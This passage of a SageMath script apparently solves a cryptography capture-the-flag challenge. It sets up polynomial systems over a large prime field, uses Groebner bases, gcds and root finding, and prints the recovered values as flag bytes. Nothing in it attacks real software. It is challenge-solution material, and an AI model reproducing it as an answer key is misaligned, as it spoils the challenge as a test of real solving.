f2 = sum([-ans[0][i]*x^i for i in range(8)])
print(f2)

f2 = f2.coefficients()
u3 = u3.coefficients()
v3 = v3.coefficients()
print(len(f2),len(u3),len(v3))
PR.<x3,k0,k1,ux> = PolynomialRing(GF(p))
u3 = [i*ux for i in u3]
a3 = [-x3**5, 5*x3**4, -10*x3**3, 10*x3**2, -5*x3, 1]
b3 = [u3[0]*k0 + v3[0], u3[0]*k1 + u3[1]*k0 + v3[1], u3[1]*k1 + u3[2]*k0 + v3[2], u3[2]*k1 + u3[3]*k0, u3[3]*k1]
fs = [0] * 9
for i in range(4):
    for j in range(6):
        fs[i+j] += u3[i] * a3[j]
for i in range(5):
    for j in range(5):
        fs[i+j] += b3[i] * b3[j]
for i in range(8):
    fs[i] -= f2[i]

I3 = Ideal(fs)
B3 = I3.groebner_basis()
print(B3)
flag3 = int(-B3[0](x3=0)).to_bytes(64,'big')
print(flag3)

f1 = f1.coefficients()
u1 = u1.coefficients()
v1 = v1.coefficients()
print(len(f1),len(u1),len(v1))
PR.<s,n,k0,k1,ux> = PolynomialRing(GF(p))
u1 = [i*ux for i in u1]
#a1 = [x1*x1*x2*x2, -2*(x1+x2)*x1*x2, x1*x1+4*x1*x2+x2*x2, -2*(x1+x2), 1]
a1 = [n*n,-2*s*n,2*n+s*s,-2*s,1]
b1 = [u1[0]*k0 + v1[0], u1[0]*k1 + u1[1]*k0 + v1[1], u1[1]*k1 + u1[2]*k0, u1[2]*k1]
fs = [0] * 7
for i in range(3):
    for j in range(5):
        fs[i+j] += u1[i] * a1[j]
for i in range(4):
    for j in range(4):
        fs[i+j] += b1[i] * b1[j]
for i in range(6):
    fs[i] -= f1[i]
print(fs[-1])
I1 = Ideal(fs)
B1 = I1.groebner_basis()
print(B1)
fs1 = []
for i in range(7):
    t = fs[i](ux = -1/k1^2)
    t = t(k0 = -(s*k1 + 10103314748659320151306858588746510829582455184333504026979850860614765456261550128034259605882349229397403940815654480593650740801293912992174403475353132*k1^3 + 7381061801425776802374511498143788429490110288897825713914634929383217310648673480693937480713729525967384112169223505564122452987534248545420222312709735 * k1))
    t = t(s = -(245645771718703412693756758335737774780207058452038579790753304591453659642259062570360959781700326051897727922778038453739352733951607494801396490492023*k1^4 +  8725269774543348890444890336756101781802561045514140983358688429067222229197688538047153843900693964323334467940026010583729677800446709731555473060685626*k1^2 + 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161301*n + 4871781636079164772516318563635863059203281470468363737538975411311189597226736520705319932211670279974734288469101511481454226048747293861758777298854964*k1 + 17698801733894967155371473351845083085806617411161099389668643855556452129641084959004629892154282806139216879986641827882401687213192117204066032342788973) / (5444505894467086697864694181205444800184689790871356692873042309892525108591934001880994485628857439957360284186528151095480042533112552022364958842741833 + 20206629497318640302613717177493021659164910368667008053959701721229530912523100256068519211764698458794807881631308961187301481602587825984348806950706264*k1^2))
    #t = t(k0 = -(k1^3 + 3462340230580638566079590231269718978389717317696185031274803360831326113021223024819149911085230440612646383338562523534478932611595015385175164502471735*x1*k1 + 3462340230580638566079590231269718978389717317696185031274803360831326113021223024819149911085230440612646383338562523534478932611595015385175164502471735*x2*k1 + 7356354453435176999393373604243618785789406731497646636268640125100631487940843270366686841510596746175284053122368862094007569863663993507707545641210120*k1)/3462340230580638566079590231269718978389717317696185031274803360831326113021223024819149911085230440612646383338562523534478932611595015385175164502471735)
    #t = t(x1 = -(9980491862799968444959980209578641942192351655107484770455779432033753035123510950349254243637308082920115390301098561884992797887114720809202003488834640*k1^4 + 10103314748659320151306858588746510829582455184333504093722461308044194273627730835234609841173967262494724567709320681630074207706887136121030999992808171*x2*k1^2 + 15843994610046965857391272009114970768263629845909937629022967954125348615290436694245292525105969509730461274554962156931860109607957694247427666937818490*k1^2 + 7381061801425776802374511498143788429490110288897825713914634929383217310648673480693937480713729525967384112169223505564122452987534248545420222312709735*x2 + 17770738679279057916355557895675090129563269633432826251932824463003364931275912702916209480950481351904761364290424406482997835483807402182326014818733821*k1 + 1253913881711836573621121912823969286679146478752954365516834156551253800124098002132119777451016842876455814269166667170661630647494465954569685562686165)/(10103314748659320151306858588746510829582455184333504093722461308044194273627730835234609841173967262494724567709320681630074207706887136121030999992808171*k1^2 + x2 + 7381061801425776802374511498143788429490110288897825713914634929383217310648673480693937480713729525967384112169223505564122452987534248545420222312709735))
    fs1.append(t)
    x = str(fs1[i])
    print(i,'s^' in x ,'n^' in x, 'k1^' in x, 'k0^' in x, fs1[i])

p = 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161303
f0 = "3015784209125698973311129359496299100665991693085558814500751319643410939758523615681886188643583764915145434706748214236709367671982794735253527704626731*k1^8 + 10868410714823959433471000249209639816319049448570156817876222695606915929923737592227785323215031181905570930162006360686331806358978867097687496622470434*k1^7 + 15259159005213075984880616419680221075757076781680518162737116504593897803523578914566114075017998633760246035160161783366144261711122144799206824210429022*n^2*k1^4 + 3705842588141811301652653963311683889127468118526818973665765470034154401437082555509482331871823949706823052632619101026343695228445554656024798265439621*k1^6 + 16878780260276934163939219773798020517761334545785025094966132877804388239932567890619669213643349181670716482758792763734506955033699192793794299333582857*n*k1^4 + 19272325164422913058226130855123870188480001353810206581008589810212066509710617196458061203762230013247691997102768477614959248689953070766797061104312734*k1^5 + 7058414962825702646816930639303788204328616310284614112638094316357729136445959520489268642372340812357123526682856813765279564932094230706092004465902226*n^2*k1^2 + 9680623727593499938620681393833623908733651158797639103008948627117974420405948312238138683408393470322193626977037264072125600674402651740044110999654175*n*k1^3 + 15623794092850000496740238080757913721150163943743588130617871593278692909696304091064643368800947491793309685135138280432202390014703955051051094222231388*k1^4 + 14619108840537073440864816087924340665933009092392254430318724230209111622522236657968852635548668719406723538582871208494833094489353896226236776566329547*n*k1^2 + 364979129796401530238044603022577360659198572507770373327870478932363087672474180117483438823232031369926307017761008984210673097118602199830555665136780*k1^3 + 1143788632446508537609871473467196825399199758667469095998014980082076656804726222998749880657472446505045528130137377089504095385919265664537577452374580*n^2 + 14161338566324398802686335691458016993218068017618299500341044332109028532417433953742294299832193953871744989476702756307458503730526441796351263591652103*n*k1 + 13370175758977909933235383864850900948872591530934102641048836227406494676022656514999632261712647507269911070822542956185485717895018166032856108997576798*k1^2 + 5424147873375254005592047258753152203432321470759345840283105777410781091354659771834741119732920952586665303795673942433333655379132571719117468343255369*n + 10380752589679060478987343260285212707584328649230733891816321910524705489053649188969203381975786434304134125722771894738733507988867753275940685441286575*k1 + 4175556623198453289339228862539170296804384166889883614511736974668506692493762668337758005960205263983075316857883528978731979435935978320733333315336160"
f1 = "7162206539712097564805063865733437756356797854225964470796444469905177249490987039576311428647845482569299051053475200793284377951496550998026486436130412*k1^8 + 4105677135781725058352543742688708085251291609480240336002277978925928793980694049181998833412981669271057488635953410449747420750597496446625019676508596*n*k1^6 + 14763163157119530984297998948929701741392644130406551499158022664171149782036529313899772215761304901837469661711979159243202116590950198284393604642476426*k1^7 + 7654239815183527608112551227157946584908232882101911382874631927441146678803808054843887222576037158198527804326225193641078711057785627218586849889781786*n^2*k1^4 + 12808228794481560497830083406913656628736041617173982090384573298911701944456543372375123691635668223488892908356637639723659939325368926700125340079026007*k1^6 + 10064374364698051472925635207487021860096918092820035555451440553204885738168947657942377983671227250250720133366318004966672132813101801981800731119839851*n*k1^4 + 16072596357138366268357583863285994890104206832594425218217790306102202556206167946828714672516295406631730567432070590140764264519371167450566815030608947*k1^5 + 17341145615279762013208647909494369642465114412295822234083370544147196791466580696664473301142287343226126781023380472015348134816658251540908909230101292*n^2*k1^2 + 3009664289976174325845894220635635412349004640781580759550136430990532197300575548578512761337264305058965859528148794961024963501173917485005396646728544*n*k1^3 + 13319301229230961830229455229254672022437872649239362637838943335169575842522481995394738071706044513353730248922196843924684896474069076548914072534368986*k1^4 + 7464520257010260705375125786783564705874422071477918150250462649798067662982884304758947623953599737753356123752696108696644084170942671175835043047944193*n*k1^2 + 9072341430387180567499891566408830762073151658481669357457959213633705963434189974111055896407890848702876041860436375796824639308485307355535616419046065*k1^3 + 11761042574532138704479127670539682535933553471022871505451815258241291755116211529270822457636744368898295806931586021064144035143686274937148785807143715*n^2 + 18550945239779657586752627024280265604936735822076972214797883073174603869775272902230037011724405585033440542706835049311776373096909166281544037226913638*n*k1 + 2987566517222619549840796879934906207685737220576285480242210821617629284744705945372251515449720575635223925882944198017298626148605715522237198307697491*k1^2 + 885366550314772783225227926683198558941381856366297234544494486466544715100118412731022140159834310065711992651416704529532850541356563935546328830574412*n + 5649844105716377382303176866253041410567016464438843938996268718339827221082567810361739676440051687863999316581803077604536081397770529947016259595667994*k1 + 4321232294094258225400826097550805844323620403846892034450135065146970548288141290360845094387316583571961011162716460314755825899789367955530913079036395"
f2 = "1607727412481038708053144398925191769459006078691803029058270328992988087169202619923382233827992078118542343352737184453123249113768459847613752440651228*k1^8 + 15110551062340003734915608352906655431616482033631053869926040382156624205291476620822062576304263064856732259459440541238826595228933823002226947469567677*n*k1^6 + 5944351701243031726708278410353269413711563989815515819866227649463700971435548289104791782051035243045701728099784108063206712502393140930534904823282820*k1^7 + 20206629497318640302613717177493021659164910368667008053959701721229530912523100256068519211764698458794807881631308961187301481602587825984348806950706264*n^2*k1^4 + 1648385355973086476271865264213588256341021413124495316468282198738575501476108089109113508152734110099286176541475953276863700562489284436365442682778152*k1^6 + 11928404997398706279116781497507596608748792234868028813144820952372738806548225910753865881207281256139232837191044306204077768943655771963047894060124435*n*k1^4 + 3093291123623833109785750720862288404711788796678624537385325364526371915253322802000540964683696095694273478529085077841098383368605153562160325900825345*k1^5 + 12460405869483879884574447909739647141943228376561132036535941690696190921662323048017097466716828147852033196594193744349155306690494263020984349588289695*n^2*k1^2 + 16726316439208378490682103263876603517310987597640567368111932581136501730886612479555973536829876082508657997569109552769270456830389319531825128834544378*n*k1^3 + 6887412489613148177715490434467505350150212571037654742486089903313512741921570613062778093329056306952524250549371145940316495734888178803587201572825092*k1^4 + 13929708669472554906754662514831832982672406316809857192717298090315759793849990725988875512717621836682432557805787166930704659389242509772315292287850991*n*k1^2 + 12396522151656878727381375858215624478642056531254833432162604272555507091152033620906164759364739845914609566563228881865669899222234572190843010006910824*k1^3 + 17296675487879811391552766044997167583659089513379884654271173719450175008781189439214255726917508621919072523644044161597742188219455520999601207304562378*n^2 + 16490403391424548529041713978827449276839956801471371070639926600536010087316114340930648705580705185525845211052637976856648101603405633832411060159052749*n*k1 + 13849354260512980317416884879887230868198179029625520154792696897251531162153641624063748849064648003223420022481711392303928403163096703610115796156430250*k1^2 + 17998564750746366595763983205478418896030445108316105972678924485865527889460225218222604786305169648451911470883049769545954640840855524372119851753147551*n + 11448709863158418190273524649906260212992776388587516433771545934904475052854501011181317122386845550722669436661691119525328235751059334903753035870314582*k1 + 15433995823689879250039123125921433397762363927482819219776047817023550425561687050099608359466211637198008508696992076623427352737262887247566898470476083"
f3 = "6438136370088670218025289663079019769961262530872848373812505048236791911289751099519324034895702230483326985689673728555098132407127587877756638719815586*k1^8 + 491291543437406825387513516671475549560414116904077159581506609182907319284518125140721919563400652103795455845556076907478705467903214989602792980984046*n*k1^6 + 16343693068561006969341991962507307228489691843930635432885638686476938923624472900484591583567669685731706199754614398319297026411231797542484144816600492*k1^7 + 13678309912218469259719884206849578948123822969364585048013323894310700710906283338347807790117483018574052001533608441411668666623126955144687510313022441*k1^6 + 5969179826311406368720953832775283686242772767875414892405428966972724440189664993828476853937332191348877229390714230705841289014214978635230671286698573*n*k1^4 + 10861239632112937816882312269354357927640604295356811014390539620416783354970632110933470686269459646967984184251788245181850381900896006599064872346855176*k1^5 + 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161299*n^2*k1^2 + 19487126544316659090065274254543452236813125881873454950155901645244758388906946082821279728846681119898937153876406045925816904194989175447035109195419856*n*k1^3 + 948276037724488929618501598590497794558293265152356796394524922381783921725994032311745534333687186969472176691121896149914047052287776551143165352915390*k1^4 + 12519218060381215156992711762144456501748765180247132010134947162768792960652144728791037330927295471870931010591167341851133913057640623066014259841689594*n*k1^2 + 4428321805028070041951236395458981851742620324092939255449408530589618273693249677565656859474409131924510780922045552311222436248826323301270348585980149*k1^3 + 15031469739795486167838062947713409724091780582983130930413541866866934944121334210777307213620739345087499824744298830606768649846241625004195760562016153*k1^2 + 15983836035925389503546422424016352097549231919844939813077063713450125742502746246269845952346530430395212157728280591643934491825933662025177094637652509*n + 5285350310670697013582004766956502495043492724826976379338942067520504353637812205431979618114504568609284230943887463450898944084934337960715367347037588*k1 + 17691468636963685587556536964991047707129924940761527517919338710191576008021237779163796487007493554678003869395844481562344257559521524355619688064458363"
PR.<k1> = PolynomialRing(GF(p))
f = [f0,f1,f2,f3]
A = []
B = []
C = []
for i in f:
    a = 0
    b = 0
    c = 0
    for j in i.split('+'):
        if 'n^' in j:
            if 'n^2' in j:
                a += eval(j.replace('*n^2','').replace('^','**'))
            else:
                raise ValueError
        elif 'n' in j:
            b += eval(j.replace('*n','').replace('^','**'))
        else:
            c += eval(j.replace('^','**'))
    A.append(a)
    B.append(b)
    C.append(c)

fs = []
for i in range(4):
    for j in range(i):
        Ri = -B[i] * A[j]
        Rj = -B[j] * A[i]
        Ii = (B[i]*B[i]-4*A[i]*C[i]) * (A[j]*A[j])
        Ij = (B[j]*B[j]-4*A[j]*C[j]) * (A[i]*A[i])
        fs.append(((Ri-Rj)^2 - Ii - Ij)^2 - 4*Ii*Ij)
print(fs)
print(gcd(fs))
print(gcd(fs).roots())
ans = gcd(fs).roots()
for _k1 in ans:
    for j in range(4):
        a = A[j](_k1[0])
        b = B[j](_k1[0])
        c = C[j](_k1[0])
        f = a*k1*k1+b*k1+c
        if j:
            new_n = []
            for _n in n:
                if f(_n) == 0:
                    new_n.append(_n)
            n = new_n
        n = [_n[0] for _n in f.roots()]
    if n:
        print(_k1,n)
        for n in n:
            s = -(245645771718703412693756758335737774780207058452038579790753304591453659642259062570360959781700326051897727922778038453739352733951607494801396490492023*k1^4 +  8725269774543348890444890336756101781802561045514140983358688429067222229197688538047153843900693964323334467940026010583729677800446709731555473060685626*k1^2 + 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161301*n + 4871781636079164772516318563635863059203281470468363737538975411311189597226736520705319932211670279974734288469101511481454226048747293861758777298854964*k1 + 17698801733894967155371473351845083085806617411161099389668643855556452129641084959004629892154282806139216879986641827882401687213192117204066032342788973) / (5444505894467086697864694181205444800184689790871356692873042309892525108591934001880994485628857439957360284186528151095480042533112552022364958842741833 + 20206629497318640302613717177493021659164910368667008053959701721229530912523100256068519211764698458794807881631308961187301481602587825984348806950706264*k1^2)
            s = s(k1=_k1[0])
            f = k1*k1 - s*k1 + n
            flags = f.roots()
            print(n,flags)
            if flags:
                try:
                    flag1 = int(flags[0][0]).to_bytes(64,'big')
                    flag2 = int(flags[1][0]).to_bytes(64,'big')
                    print(flag1)
                    print(flag2)
                except:
                    print(hex(flags[0][0]))
                    print(hex(flags[1][0]))